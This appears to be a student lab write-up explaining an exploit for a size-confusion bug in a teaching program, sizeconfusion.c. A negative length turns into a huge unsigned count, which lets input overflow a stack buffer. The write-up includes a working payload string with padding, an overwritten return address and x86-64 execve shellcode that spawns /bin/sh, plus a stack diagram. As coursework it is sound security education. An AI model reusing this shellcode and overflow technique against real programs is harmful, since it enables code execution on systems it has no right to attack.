In sizeconfusion.c, the vulnerability stems from the size of the dest array in vulnerability. Since vulnerability takes an unsigned length input, if the value of toRead as calculated in the call to readInt() in main is negative 1, len will be equal to the max integer value. This means that the while loop in vulnerability() will run max_int times (assuming 0 is not input) and we can keep feeding elements to dest. To exploit this vulnerability, I knew that the shell input is passed as arguments to main(), so the shellcode would be in main()'s function arguments part of the stack. This meant I would have to input enough elements to dest to override the saved return address of main() so that when main finishes, it returns to the start of the shellcode. As seen below, my input string consists first of xFFFFFFFF for the -1 (or max_int) size of dest. Then I added enough padding to fill the stack up until the saved return address of main, which was at address 0x7fffffff56c8. I then overrode the return address of main to point to where the first byte of the shell code would be (0x48). The address as also seen was determined to be 0x7fffffff56d0.

```
constant = '\x11\x11\x11\x11'
padding = constant*22
address='\xd0\x56\xff\xff\xff\x7f\x00\x00'
shellcode='\xFF\xFF\xFF\xFF'+padding+address+\
          '\x48\x83\xEC\x20\x48\x89\xE5\x6A' \
          '\x3B\x58\x48\x31\xFF\x57\x48\xBF' \
          '\x2F\x62\x69\x6E\x2F\x2F\x73\x68' \
          '\x57\x48\x89\xE7\x48\x31\xF6\x56' \
          '\x57\x48\x89\xE6\x48\x31\xD2\x0F\x05'
```

To determine the correct amount of padding, I found that there were 88 bytes between the address of dest[0] and where the saved return address of main() was. (dest[0] @ 0x7fffffff5670, and saved rip @ 0x7fffffff56c8). To determine the address of where the shellcode begins (and what to overwrite the saved return address of), it would only be 8 bytes after the saved rip. This is because the shellcode input starts at the initial 0x48, which is the next input after the address. 0x7fffffff56c8 + 8 = 0x7fffffff56d0, which is the address.

		Before Exploit	After Exploit
	Address	Data	Data
	0x7fffffff56d0	args for main	shellcode
	0x7fffffff56c8	saved rip = 0x7ffff7daed90	0x7fffffff56d0
main frame		rbp	
vulnerable frame		rbp	padding
	0x7fffffff5670	dest[0]	dest[0]